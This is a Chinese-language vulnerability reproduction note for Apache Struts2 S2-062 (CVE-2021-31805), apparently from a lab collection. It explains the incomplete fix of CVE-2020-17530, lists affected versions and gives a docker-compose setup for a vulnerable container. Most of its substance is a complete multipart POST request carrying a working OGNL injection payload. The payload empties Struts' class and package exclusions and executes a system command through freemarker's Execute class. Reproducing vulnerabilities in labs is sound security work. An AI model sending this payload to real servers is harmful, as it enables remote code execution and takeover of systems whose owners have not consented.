# Apache Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805 ## 漏洞描述 该漏洞由于对 CVE-2020-17530 的修复不完整造成的,CVE-2020-17530 漏洞是由于 Struts2 会对某些标签属性 (比如 id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 其中 x 的值用户可控时,用户再传入一个 `%{payload}` 即可造成 OGNL 表达式执行。在 CVE-2021-31805 漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的 OGNL 表达式执行,导致远程代码执行。 ## 漏洞影响 ``` Struts 2.0.0 - Struts 2.5.29 ``` ## 环境搭建 docker-compose.yml ``` version: '2' services: struts2: image: vulhub/struts2:2.5.25 ports: - "8080:8080" ``` 环境启动后,访问 `http://your-ip:8080/index.action` 查看到首页。 ![](images/Apache%20Struts2%20S2-062%20远程代码执行漏洞%20CVE-2021-31805/image-20241217161107704.png) ## 漏洞复现 发送请求包 ```php POST / HTTP/1.1 Host: your-ip:8080 Content-Length: 829 Origin: http://your-ip:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1OyBby784sBXbcK9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: */* Referer: http://your-ip:8080/ Accept-Encoding: gzip, deflate, br Accept-Language: en ------WebKitFormBoundary1OyBby784sBXbcK9 Content-Disposition: form-data; name="id" %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundary1OyBby784sBXbcK9-- ``` ![](images/Apache%20Struts2%20S2-062%20远程代码执行漏洞%20CVE-2021-31805/image-20241217165407787.png)